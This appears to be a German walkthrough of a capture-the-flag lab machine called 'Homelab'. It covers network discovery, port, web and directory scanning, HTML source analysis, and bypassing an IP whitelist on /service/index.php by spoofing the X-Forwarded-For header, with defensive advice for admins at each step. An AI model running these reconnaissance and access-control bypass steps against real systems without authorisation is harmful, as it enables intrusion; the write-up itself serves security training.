Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Analyse:
Der erste Schritt in unserem Penetrationstest ist die aktive Aufklärung des Zielnetzwerks. Wir beginnen mit dem Tool netdiscover, um aktive Hosts im Subnetz 192.168.2.1/24 zu identifizieren. Das Ziel ist es, die IP-Adresse unserer Zielmaschine, "Homelab", zu finden.
Der Befehl netdiscover -r 192.168.2.1/24 weist netdiscover an, ARP-Requests im angegebenen Netzwerkbereich zu senden.
Currently scanning: Finished! | Screen View: Unique Hosts
11 Captured ARP Req/Rep packets, from 8 hosts. Total size: 660
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.191 08:00:27:58:13:e0 1 60 PCS Systemtechnik GmbH
Bewertung:
Die Ausgabe von netdiscover ist erfolgreich. Es wurden 11 ARP-Pakete von 8 Hosts erfasst. Ein Host mit der IP-Adresse 192.168.2.191 und der MAC-Adresse 08:00:27:58:13:e0 wurde identifiziert. Die MAC-Adresse gehört zu "PCS Systemtechnik GmbH", was oft ein Hinweis auf eine virtuelle Maschine von Oracle VirtualBox ist. Diese IP-Adresse ist unser primäres Ziel für die weiteren Scans.
Empfehlung (Pentester):
Die identifizierte IP-Adresse sollte als nächstes mit Port-Scanning-Tools wie nmap untersucht werden, um offene Ports und laufende Dienste zu ermitteln.
Empfehlung (Admin):
Netzwerk-Monitoring-Systeme sollten ungewöhnliche ARP-Scan-Aktivitäten erkennen und alarmieren. Eine Segmentierung des Netzwerks kann die Sichtbarkeit von Hosts für nicht autorisierte Scanner einschränken. Die Verwendung von statischen ARP-Einträgen für kritische Systeme kann ARP-Spoofing-Versuche erschweren, ist aber in dynamischen Umgebungen oft unpraktisch.
Analyse:
Nachdem wir die IP-Adresse des Ziels (192.168.2.191) identifiziert haben, führen wir einen umfassenden Portscan mit nmap durch.
Der Befehl nmap -sS -sC -p- -AO 192.168.2.191 -Pn --min-rate 5000 ist wie folgt aufgebaut:
-sS: Führt einen TCP SYN-Scan (Stealth Scan) durch, der oft weniger auffällig ist als ein voller TCP-Connect-Scan.-sC: Führt Standard-Nmap-Skripte (NSE) aus, um zusätzliche Informationen über die erkannten Dienste zu sammeln.-p-: Scannt alle 65535 TCP-Ports.-AO: Versucht, das Betriebssystem zu identifizieren. (Hinweis:-Aist umfassender und beinhaltet OS-Detektion, Versionserkennung, Skript-Scanning und Traceroute.-Oist nur OS-Detektion. Die Kombination-AOist unüblich,-Awäre hier gängiger oder-Oseparat.)-Pn: Überspringt die Host-Discovery-Phase (Ping-Scan) und nimmt an, dass der Host online ist. Dies ist nützlich, wenn Hosts ICMP-Anfragen blockieren.--min-rate 5000: Setzt die minimale Paketrate auf 5000 Pakete pro Sekunde, um den Scan zu beschleunigen.
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-05-14 23:38 CEST Nmap scan report for homelab.hmv (192.168.2.191) Host is up (0.00019s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Unix)) |_http-favicon: Apache on Mac OS X |_http-server-header: Apache/2.4.62 (Unix) | http-methods: |_ Potentially risky methods: TRACE |_http-title: Mac OS X Server MAC Address: 08:00:27:58:13:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.19 ms homelab.hmv (192.168.2.191) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 10.46 seconds
Bewertung:
Der nmap-Scan war sehr erfolgreich und liefert wichtige Informationen:
- Es ist nur ein einziger TCP-Port offen: Port
80(HTTP). - Auf Port 80 läuft ein
Apache httpd 2.4.62 ((Unix))Webserver. - Das Favicon und der HTTP-Titel (
Mac OS X Server) deuten stark darauf hin, dass es sich um einen Mac OS X Server handelt. Dies ist ein wichtiger Hinweis, da ältere Mac OS X Server-Versionen bekannte Schwachstellen haben könnten. - Die HTTP-Methode
TRACEist aktiviert, was auf eine mögliche Anfälligkeit für Cross-Site Tracing (XST) hindeutet. - Obwohl Nmap auf ein Linux-Kernel (4.X/5.X) tippt, widersprechen die anderen Indikatoren (Favicon, Titel) dem. Dies könnte auf eine Virtualisierungsumgebung oder eine spezifische Konfiguration des Apache-Servers zurückzuführen sein, die Linux-ähnliche Signaturen erzeugt, obwohl das zugrundeliegende System Mac OS X ist. Angesichts der anderen Hinweise ist Mac OS X wahrscheinlicher.
- Die MAC-Adresse bestätigt erneut, dass es sich wahrscheinlich um eine VirtualBox VM handelt.
homelab.hmv wird ebenfalls aufgedeckt.
Empfehlung (Pentester):
Der nächste logische Schritt ist die detaillierte Untersuchung des Webservers auf Port 80. Dazu gehören Directory Brute-Forcing, Schwachstellen-Scans (z.B. mit nikto) und die manuelle Inspektion der Webseite. Der Hostname homelab.hmv sollte der lokalen /etc/hosts Datei hinzugefügt werden, um die Webseite über diesen Namen aufrufen zu können.
Empfehlung (Admin):
Die HTTP-Methode TRACE sollte deaktiviert werden, wenn sie nicht explizit benötigt wird, um XST-Angriffe zu mitigieren. Server-Banner und Titel, die detaillierte Betriebssysteminformationen preisgeben (wie "Mac OS X Server"), sollten minimiert oder verallgemeinert werden, um die Informationsgewinnung für Angreifer zu erschweren. Regelmäßige Überprüfung und Deaktivierung nicht benötigter Dienste und Ports ist essenziell. Die OS-Detektion durch Nmap kann manchmal ungenau sein; hier ist es wichtig, alle Indikatoren zu berücksichtigen.
Analyse:
Um die Ausgabe des vorherigen nmap-Scans zu filtern und nur die offenen Ports anzuzeigen, wird der Befehl mit grep open kombiniert. Dies ist eine schnelle Methode, um die relevantesten Informationen aus einer umfangreichen nmap-Ausgabe zu extrahieren.
Anschließend wird der Hostname homelab.hmv, der im vorherigen Scan entdeckt wurde, zusammen mit der IP-Adresse 192.168.2.191 in die lokale /etc/hosts-Datei eingetragen. Dies ermöglicht es uns, den Webserver über seinen Hostnamen statt nur über die IP-Adresse zu erreichen, was für die weitere Web-Enumeration und das Testen von virtuellen Hosts wichtig sein kann. Der Befehl vi /etc/hosts öffnet die Hosts-Datei im Texteditor vi zur Bearbeitung.
80/tcp open http Apache httpd 2.4.62 ((Unix))
192.168.2.191 homelab.hmv
Bewertung:
Das Filtern der nmap-Ausgabe bestätigt erneut, dass Port 80 (HTTP) der einzige offene TCP-Port ist.
Das Hinzufügen des Eintrags zur /etc/hosts-Datei ist eine bewährte Praxis im Penetrationstesting. Es stellt sicher, dass Anfragen an homelab.hmv korrekt zur IP-Adresse 192.168.2.191 aufgelöst werden, was besonders wichtig ist, wenn Webanwendungen auf Hostnamen-basierte Konfigurationen angewiesen sind.
Empfehlung (Pentester):
Nachdem der Hostname konfiguriert wurde, sollte die Webseite http://homelab.hmv/ im Browser aufgerufen und mit Web-Enumeration-Tools weiter untersucht werden.
Empfehlung (Admin):
Aus Sicht der Systemadministration ist hier keine direkte Aktion erforderlich, da die Änderung der /etc/hosts-Datei auf dem Angreifer-System stattfindet. Es verdeutlicht jedoch, wie Angreifer DNS-Namen nutzen, die möglicherweise nicht öffentlich bekannt sind. Interne DNS-Einträge sollten sorgfältig verwaltet werden.
Web Enumeration
Analyse:
Wir setzen die Untersuchung des Webservers auf Port 80 fort. Das Tool nikto wird verwendet, um nach bekannten Webserver-Schwachstellen, Fehlkonfigurationen, veralteten Softwareversionen und anderen potenziellen Sicherheitsproblemen zu suchen.
Der Befehl nikto -h http://192.168.2.191 weist nikto an, das Ziel unter der angegebenen IP-Adresse zu scannen. Da wir den Hostnamen bereits in /etc/hosts eingetragen haben, könnten wir hier auch http://homelab.hmv verwenden.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.191 + Target Hostname: 192.168.2.191 + Target Port: 80 + Start Time: 2025-05-14 23:38:43 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Unix) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /favicon.ico: identifies this app/server as: Apache on Mac OS X. See: [Link: https://en.wikipedia.org/wiki/Favicon | Ziel: https://en.wikipedia.org/wiki/Favicon] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD, TRACE . + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: [Link: https://owasp.org/www-community/attacks/Cross_Site_Tracing | Ziel: https://owasp.org/www-community/attacks/Cross_Site_Tracing] + /service/: Retrieved x-powered-by header: PHP/8.4.5. + /service/: This might be interesting. + 8101 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2025-05-14 23:39:08 (GMT2) (25 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Bewertung:
nikto liefert mehrere interessante Ergebnisse:
- Bestätigung der Server-Software:
Apache/2.4.62 (Unix). - Fehlende Sicherheitsheader:
X-Frame-Options(Schutz gegen Clickjacking) undX-Content-Type-Options(Schutz gegen MIME-Sniffing-Angriffe) sind nicht gesetzt. Dies sind gängige Findings, die die Sicherheit der Webanwendung potenziell schwächen. - Das
favicon.icoidentifiziert den Server erneut als "Apache on Mac OS X". - Die HTTP-Methode
TRACEist aktiv, was die frühere Vermutung einer XST-Anfälligkeit untermauert. - Ein Verzeichnis
/service/wurde gefunden. Dieses Verzeichnis liefert einenX-Powered-By: PHP/8.4.5Header, was darauf hindeutet, dass hier PHP-Skripte ausgeführt werden. Dies ist ein sehr wichtiger Fund, da PHP-Anwendungen oft Schwachstellen aufweisen können. niktomarkiert/service/als "This might be interesting", was unsere Aufmerksamkeit auf dieses Verzeichnis lenken sollte.
Empfehlung (Pentester):
Das Verzeichnis /service/ muss als Nächstes gründlich untersucht werden. Directory Brute-Forcing und das Suchen nach PHP-Dateien in diesem Verzeichnis sind angezeigt. Die fehlenden Sicherheitsheader und die aktive TRACE-Methode sind ebenfalls zu dokumentieren, auch wenn sie möglicherweise nicht direkt für einen initialen Zugriff ausgenutzt werden können.
Empfehlung (Admin):
Die fehlenden HTTP-Sicherheitsheader (X-Frame-Options, X-Content-Type-Options) sollten in der Webserver-Konfiguration (Apache) gesetzt werden, um die Anwendung gegen Clickjacking und MIME-Sniffing-Angriffe zu härten. Die HTTP-Methode TRACE sollte deaktiviert werden. Die Preisgabe der PHP-Version im X-Powered-By-Header sollte ebenfalls unterbunden werden (expose_php = Off in der php.ini), um Angreifern weniger Informationen zu liefern.
Analyse:
Um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden, setzen wir feroxbuster ein. Dieses Tool führt ein Wordlist-basiertes Brute-Forcing von Verzeichnis- und Dateinamen durch.
Der Befehl feroxbuster --url "http://192.168.2.191" --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -x .git,.php,.html,.xml,.zip,.7z,.tar,.bak,.sql,.py,.pl,.txt,.jpg,.jpeg,.png,.js,.aac,.ogg,.flac,.alac,.wav,.aiff,.dsd,.mp3,.mp4,.mkv,.phtml -s 200 301 302 ist wie folgt konfiguriert:
--url "http://192.168.2.191": Die Ziel-URL.--wordlist /usr/share/seclists/Discovery/Web-Content/big.txt: Verwendet eine umfangreiche Wortliste für das Brute-Forcing.-x ...: Eine lange Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll (z.B..php,.txt).-s 200 301 302: Meldet nur Ressourcen, die mit den HTTP-Statuscodes 200 (OK), 301 (Moved Permanently) oder 302 (Found/Redirect) antworten.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.191 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/big.txt 👌 Status Codes │ [200, 301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 200 GET 75l 215w 2241c http://192.168.2.191/script/serverhome.js 200 GET 13l 37w 2194c http://192.168.2.191/poweredbymacosxserver.gif 200 GET 351l 1040w 98713c http://192.168.2.191/script/compressed_widgets.js 200 GET 192l 384w 3041c http://192.168.2.191/style/iphone.css 200 GET 412l 2178w 136171c http://192.168.2.191/script/compressed_libraries.js 200 GET 5l 27w 226c http://192.168.2.191/style/serverhome_static.css 200 GET 130l 376w 5435c http://192.168.2.191/ 200 GET 12l 63w 3616c http://192.168.2.191/osxserver.gif 200 GET 33l 97w 6762c http://192.168.2.191/grayx.jpg 200 GET 96l 250w 3752c http://192.168.2.191/error.html 200 GET 7l 37w 19156c http://192.168.2.191/favicon.ico 200 GET 130l 376w 5435c http://192.168.2.191/index.html 301 GET 9l 28w 313c http://192.168.2.191/script => http://192.168.2.191/script/ 301 GET 9l 28w 314c http://192.168.2.191/service => http://192.168.2.191/service/ 301 GET 9l 28w 312c http://192.168.2.191/style => http://192.168.2.191/style/ 200 GET 1l 10w 59c http://192.168.2.191/service/index.php 301 GET 9l 28w 316c http://192.168.2.191/style/img => http://192.168.2.191/style/img/ [####################] - 3m 2868208/2868208 0s found:17 errors:0 [####################] - 57s 573412/573412 10003/s http://192.168.2.191/ [####################] - 2m 573412/573412 4730/s http://192.168.2.191/script/ [####################] - 2m 573412/573412 4624/s http://192.168.2.191/service/ [####################] - 2m 573412/573412 4727/s http://192.168.2.191/style/ [####################] - 86s 573412/573412 6660/s http://192.168.2.191/style/img/
Bewertung:
feroxbuster identifiziert mehrere interessante Dateien und Verzeichnisse:
- Standarddateien und -verzeichnisse einer Mac OS X Server Webseite:
/script/,/style/,poweredbymacosxserver.gif,osxserver.gif,favicon.ico,index.html. Darunter auch mehrere JavaScript-Dateien wieserverhome.js,compressed_widgets.jsundcompressed_libraries.js. Diese könnten analysiert werden, um die Funktionsweise der Webseite besser zu verstehen. - Das bereits von
niktogefundene Verzeichnis/service/wird bestätigt und darin die Datei/service/index.php. Dies ist ein sehr vielversprechender Fund, da PHP-Dateien oft Einstiegspunkte für Angriffe darstellen.
feroxbuster bestätigen und ergänzen die Funde von nikto. Das Verzeichnis /service/ und insbesondere die Datei index.php darin rücken weiter in den Fokus.
Empfehlung (Pentester):
Die Datei http://192.168.2.191/service/index.php sollte umgehend im Browser aufgerufen und ihr Quellcode analysiert werden. Auch die gefundenen JavaScript-Dateien sollten heruntergeladen und auf interessante Endpunkte oder Logik untersucht werden.
Empfehlung (Admin):
Nicht benötigte Dateien und Verzeichnisse sollten vom Webserver entfernt werden, um die Angriffsfläche zu reduzieren. Der Zugriff auf sensible Konfigurationsdateien oder Skripte sollte streng kontrolliert und protokolliert werden. Directory Listing sollte auf dem Webserver deaktiviert sein, um das Entdecken von Dateien zu erschweren (obwohl Tools wie feroxbuster dies ohnehin versuchen).
Analyse:
Wir verwenden curl, um die HTTP-Header der Webseite http://homelab.hmv/ abzurufen.
Der Befehl curl -Iv http://homelab.hmv ist wie folgt aufgebaut:
-I: Sendet eine HEAD-Anfrage, um nur die HTTP-Header abzurufen, nicht den Body der Seite.-v: Aktiviert den "verbose" Modus, der detaillierte Informationen über die Verbindung und die Anfrage/Antwort-Header anzeigt.
* Host homelab.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.191 * Trying 192.168.2.191:80... * Connected to homelab.hmv (192.168.2.191) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: homelab.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK < Date: Wed, 14 May 2025 23:42:40 GMT < Server: Apache/2.4.62 (Unix) < Last-Modified: Tue, 15 Apr 2025 15:22:00 GMT < ETag: "153b-632d2bae4bc2e" < Accept-Ranges: bytes < Content-Length: 5435 < Content-Type: text/html < * Connection #0 to host homelab.hmv left intact
Bewertung:
Die curl-Ausgabe bestätigt die bereits bekannten Informationen:
- Der Server antwortet mit
HTTP/1.1 200 OK, was bedeutet, dass die Ressource erfolgreich abgerufen wurde. - Der
Server-Header istApache/2.4.62 (Unix). - Der
Content-Typeisttext/html. - Das Datum der letzten Modifizierung (
Last-Modified) und derETagsind ebenfalls vorhanden, aber für den initialen Zugriff weniger relevant.
Empfehlung (Pentester):
Da die Header-Analyse keine neuen Angriffsvektoren aufzeigt, sollte der Fokus weiterhin auf der Analyse des Inhalts der Webseite und der zuvor identifizierten /service/index.php liegen.
Empfehlung (Admin):
Wie bereits erwähnt, sollten Server-Banner (Server: Apache/2.4.62 (Unix)) minimiert werden, um die Informationsgewinnung für Angreifer zu erschweren. Dies kann durch Konfigurationsänderungen im Apache (z.B. ServerTokens Prod) erreicht werden.
Analyse:
Dieser Abschnitt enthält eine manuelle Analyse des HTML-Quellcodes der Startseite von http://homelab.hmv/. Solche Analysen sind entscheidend, um die Struktur und potenzielle Logik einer Webanwendung zu verstehen. Es werden verschiedene Elemente des HTML-Codes und deren Implikationen betrachtet.
Erste Beobachtungen und Analyse:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" ...>
HTML 4.01 Transitional: Das ist eine ältere HTML-Version. Modernere Seiten nutzen HTML5.
Das deutet schon mal auf ein älteres System hin.
<title>Mac OS X Server</title>
Klarer Hinweis auf das Betriebssystem.
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
ISO-8859-1: Eine ältere Zeichenkodierung. UTF-8 ist heute Standard.
<meta name="viewport" content="width=320; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" />
Optimiert für ältere mobile Geräte (z.B. frühe iPhones mit 320px Breite).
user-scalable=0: Verhindert das Zoomen auf dem Gerät.
CSS-Dateien:
style/serverhome_static.css
style/iphone.css (bestätigt die mobile Optimierung für ältere iPhones)
<body id="wikid" ...>
Die ID wikid ist interessant. Könnte auf eine zugrundeliegende Wiki-Software oder eine Verbindung zu Wiki-Funktionen hinweisen.
JavaScript-gesteuerte Anzeige von Services:
span id="some-services-enabled" style="display:none"
span id="no-services-enabled" style="display:none"
Diese werden per JavaScript ein- oder ausgeblendet, je nachdem, ob Dienste verfügbar sind.
Services-Liste (<ul class="services" id="services">) - Das ist der Kern!
JavaScript document.getElementById('services').className = 'services loading';: Setzt eine Klasse, vermutlich um einen Ladezustand anzuzeigen,
während die Verfügbarkeit der Dienste geprüft wird (obwohl das in diesem statischen HTML-Ausschnitt erstmal nur eine CSS-Klasse setzt).
Jeder Dienst (<li>) hat:
Einen href zum direkten Aufruf des Dienstes (z.B. /webmail/). Wichtige Endpunkte zum Testen!
Ein name-Attribut, das sehr interessant ist: z.B. name="/collaboration-availability/webmail/". Dies ist kein Standardattribut für <a>-Tags
in dieser Form. Es deutet stark auf einen API-Endpunkt hin, der möglicherweise die Verfügbarkeit dieser Dienste prüft! Diese Pfade sollten
unbedingt getestet werden. Titel, Beschreibung und einen "Log In" / "View All" / "View" Linktext.
Aufgelistete Dienste und ihre Pfade:
Mail: href="/webmail/", name="/collaboration-availability/webmail/"
Calendar: href="/webcal/", name="/collaboration-availability/webcal/"
My Page (Updates): href="/updates/", name="/collaboration-availability/updates/"
Wikis: href="/groups/", name="/collaboration-availability/groups/"
Blogs: href="/users/", name="/collaboration-availability/users/"
Mail Rules: href="/emailrules/", name="/collaboration-availability/emailrules/"
Change Password: href="/changepassword/", name="/collaboration-availability/changepassword/"
Podcast Capture: href="/podcastcapture/", name="/collaboration-availability/podcastcapture/"
Footer:
img src="poweredbymacosxserver.gif": Visuelle Bestätigung.
Copyright © 2009 Apple Inc. All rights reserved.: Das ist ein RIESIGER Hinweis! Das System ist von 2009 oder davor. Das bedeutet, wir
haben es wahrscheinlich mit Mac OS X Server 10.5 (Leopard) oder 10.6 (Snow Leopard) zu tun. Diese Systeme sind steinalt und haben bekannte Schwachstellen!
JavaScript-Dateien am Ende:
script/compressed_libraries.js
script/compressed_widgets.js
script/serverhome.js
Diese Dateien sind GOLDWERT! Sie enthalten die Logik für die Seite, potenziell AJAX-Aufrufe zu den /collaboration-availability/ Endpunkten und könnten weitere
Hinweise auf APIs oder die Funktionsweise der Seite geben. Diese müssen unbedingt heruntergeladen und analysiert werden.
Zusammenfassung der wichtigsten Punkte für die CTF:
Altes System: Mac OS X Server, Copyright 2009 (wahrscheinlich 10.5/10.6). Nach bekannten Exploits für diese Versionen suchen!
Bekannte Dienste: Mail, Kalender, Wikis, Blogs etc. Jeder Dienst könnte eigene Schwachstellen haben.
Enumeration von Endpunkten:
Die direkten href-Pfade (z.B. /webmail/, /webcal/).
Ganz wichtig: Die name-Attribute, die wie API-Pfade aussehen (z.B. /collaboration-availability/webmail/). Diese unbedingt direkt aufrufen und schauen,
was sie zurückgeben (JSON? XML? Fehler?).
JavaScript-Analyse: Die Dateien compressed_libraries.js, compressed_widgets.js und serverhome.js müssen untersucht werden. Sind sie "compressed" oder "minified",
müssen sie ggf. mit einem Beautifier lesbar gemacht werden.
Nächste Schritte für dich:
JS-Dateien herunterladen und analysieren:
curl <URL>/script/compressed_libraries.js
curl <URL>/script/compressed_widgets.js
curl <URL>/script/serverhome.js
Schau dir den Inhalt an. Suche nach AJAX-Aufrufen, Endpunkt-Definitionen, interessanten Funktionen.
Endpunkte testen:
Öffne die href-Pfade im Browser oder mit curl.
Öffne die /collaboration-availability/... Pfade im Browser oder mit curl.
Nach bekannten Schwachstellen suchen: Für "Mac OS X Server 10.5 vulnerabilities" oder "Mac OS X Server 10.6 vulnerabilities" und für die spezifischen Dienste
(z.B. die verwendete Wiki-Software, Webmail-Software etc., falls identifizierbar).
HTTP-Header prüfen: Welche Server-Software und Version wird im Server-Header angezeigt? (z.B. Apache/x.y.z).
Directory Traversal / LFI Tests: Bei den bekannten Pfaden mal ../../ etc. ausprobieren.
Das ist ein sehr guter Startpunkt! Das Copyright-Datum ist schon mal ein Jackpot für potenzielle Schwachstellen. Bin gespannt, was du in den JS-Dateien und bei
den API-Endpunkten findest!
Bewertung: Die manuelle Analyse des HTML-Quellcodes liefert extrem wertvolle Hinweise:
- **Veraltetes System:** Die Verwendung von HTML 4.01, ISO-8859-1 und die Optimierung für alte iPhone-Auflösungen deuten stark auf ein System hin, das seit vielen Jahren nicht mehr aktualisiert wurde.
- **Mac OS X Server bestätigt:** Der Titel und das Copyright-Datum "2009 Apple Inc." sind eindeutige Indikatoren. Es handelt sich sehr wahrscheinlich um Mac OS X Server 10.5 (Leopard) oder 10.6 (Snow Leopard). Solch alte Betriebssysteme sind notorisch für bekannte und oft leicht ausnutzbare Schwachstellen.
- **Potenzielle API-Endpunkte:** Die
name-Attribute der Service-Links (z.B./collaboration-availability/webmail/) sind ein Schlüsselfund. Diese sehen nicht nach Standard-HTML aus und deuten auf interne API-Pfade hin, die möglicherweise zur Überprüfung der Dienstverfügbarkeit oder für andere Backend-Operationen verwendet werden. - **JavaScript-Dateien als Goldgrube:** Die identifizierten JavaScript-Dateien (
compressed_libraries.js,compressed_widgets.js,serverhome.js) könnten die Logik für die Interaktion mit diesen API-Endpunkten enthalten und weitere Hinweise auf die Funktionsweise des Systems oder versteckte Funktionalitäten liefern. - **Interessante ID "wikid":** Könnte auf eine zugrundeliegende Wiki-Software hinweisen, die wiederum eigene Schwachstellen haben könnte.
Empfehlung (Pentester): Die "Nächsten Schritte", die im analysierten Text vorgeschlagen werden, sind exakt die richtigen:
- **JavaScript-Dateien analysieren:** Herunterladen und Untersuchen der JS-Dateien auf API-Aufrufe, Endpunkte und sensible Informationen. Ggf. Beautifier verwenden, falls der Code minified ist.
- **API-Endpunkte testen:** Die
/collaboration-availability/...Pfade direkt mitcurloder im Browser aufrufen und die Antworten analysieren (Format, Inhalt, Fehlermeldungen). - **Gezielte Schwachstellensuche:** Nach bekannten Exploits für "Mac OS X Server 10.5" oder "Mac OS X Server 10.6" sowie für die einzelnen identifizierten Dienste (Wiki, Mail, etc.) suchen.
- **Weitere Tests:** Standard-Web-Angriffsvektoren wie Directory Traversal (
../../) und Local File Inclusion (LFI) auf alle bekannten Pfade anwenden.
Empfehlung (Admin): Ein System mit einem Copyright-Datum von 2009 und einem derart veralteten Technologiestack (HTML 4, ISO-8859-1) stellt ein extremes Sicherheitsrisiko dar. Es muss dringendst durch eine moderne, unterstützte Lösung ersetzt werden. Bis dahin sollte das System, falls es absolut unumgänglich ist, es weiter zu betreiben, maximal isoliert und durch vorgelagerte Web Application Firewalls (WAFs) und Intrusion Prevention Systems (IPS) geschützt werden. Eine detaillierte Analyse aller laufenden Dienste und deren Konfiguration ist unerlässlich, um bekannte Schwachstellen zu patchen oder Dienste abzuschalten. Die Analyse der JavaScript-Dateien durch einen Angreifer könnte interne Logik offenlegen; Code-Obfuskation ist hier nur ein geringer Schutz, die Offenlegung der Logik an sich ist das Problem.
Analyse:
Hier wird ein Einzeiler-Befehl verwendet, um schnell eine Liste von Verzeichnispfaden aus den href-Attributen der Startseite zu extrahieren.
Der Befehl curl -s http://homelab.hmv/ | grep -E 'href' | awk {'print $2'} | tr "=" " " | cut -d " " -f2 | tr -d '"' | grep -v apple > ~/dir.txt ist eine Kette von Textmanipulationstools:
curl -s http://homelab.hmv/: Lädt den HTML-Quellcode der Seite herunter (-sfür silent/stumm).| grep -E 'href': Filtert Zeilen, die "href" enthalten.| awk {'print $2'}: Gibt das zweite Feld jeder gefilterten Zeile aus (in der Hoffnung, dass es dashref="..."Attribut ist). Dies ist eine etwas ungenaue Methode, da die Struktur variieren kann.| tr "=" " ": Ersetzt Gleichheitszeichen durch Leerzeichen.| cut -d " " -f2: Schneidet das zweite Feld heraus, wobei Leerzeichen als Trennzeichen dienen (soll den Wert nachhref=extrahieren).| tr -d '"': Entfernt alle Anführungszeichen.| grep -v apple: Entfernt Zeilen, die "apple" enthalten (wahrscheinlich um externe Apple-Links auszuschließen).> ~/dir.txt: Leitet die Ausgabe in die Dateidir.txtim Home-Verzeichnis des Benutzers um.
/webmail/ /webcal/ /updates/ /groups/ /users/ /emailrules/ /changepassword/ /podcastcapture/
Bewertung:
Der Befehl extrahiert erfolgreich die in der vorherigen HTML-Analyse identifizierten Hauptverzeichnispfade der angebotenen Dienste. Diese Liste ist nützlich als Grundlage für weitere automatisierte Tests oder manuelle Erkundungen. Es ist eine schnelle Methode, um eine Zielliste zu generieren. Allerdings ist die Methode, wie die Pfade extrahiert werden (insbesondere mit awk {'print $2'} und cut), anfällig für Fehler, falls sich die HTML-Struktur ändert. Robustere HTML-Parsing-Tools wären hier zuverlässiger, aber für einen schnellen Überblick ist dieser Ansatz oft ausreichend.
Empfehlung (Pentester):
Die generierte Liste in dir.txt kann als Input für weitere Directory-Brute-Forcing-Tools verwendet werden, um tieferliegende Pfade oder Dateien innerhalb dieser Verzeichnisse zu finden. Jeder dieser Pfade sollte auch manuell im Browser besucht werden, um die Funktionalität zu verstehen.
Empfehlung (Admin):
Dies demonstriert, wie leicht Angreifer die Struktur einer Webseite analysieren können, um potenzielle Angriffsziele zu identifizieren. Eine Reduzierung der öffentlich zugänglichen Informationen und eine robuste Zugriffskontrolle für alle Pfade sind wichtig.
Initial Access
Analyse:
Wir versuchen nun, auf die zuvor identifizierte Datei /service/index.php zuzugreifen. Der direkte Aufruf im Browser (oder mit curl) resultiert in einer Fehlermeldung, die besagt, dass der Dienst nur "für mich selbst" verfügbar ist. Dies deutet auf eine Zugriffsbeschränkung hin, möglicherweise eine IP-basierte Whitelist, die nur Anfragen von localhost (oder der Server-IP selbst) zulässt.
Um diese Beschränkung zu umgehen, versuchen wir, unsere Quell-IP-Adresse zu spoofen, indem wir den HTTP-Header X-Forwarded-For setzen. Webserver verwenden diesen Header oft, um die ursprüngliche Client-IP-Adresse zu ermitteln, wenn Proxys vorgeschaltet sind. Wenn die Anwendung diesen Header ohne ausreichende Validierung auswertet, kann sie getäuscht werden.
Wir setzen X-Forwarded-For: 192.168.2.191, also die IP-Adresse des Servers selbst.
Analyse des Bildes: Der Screenshot (hier repräsentiert durch den Dateinamen ip_forwarding_test_hat_geklappt.jpg) würde den erfolgreichen Zugriff auf http://192.168.2.191/service/index.php nach dem Setzen des X-Forwarded-For-Headers zeigen. Man würde den Inhalt der OpenVPN-Konfigurationsdatei sehen, anstatt der vorherigen Fehlermeldung "Whoa! But sorry, this service is only available for myself!". Dies beweist, dass die IP-Spoofing-Technik funktioniert hat.
http://192.168.2.191/service/index.php
Whoa! But sorry, this service is only available for myself!
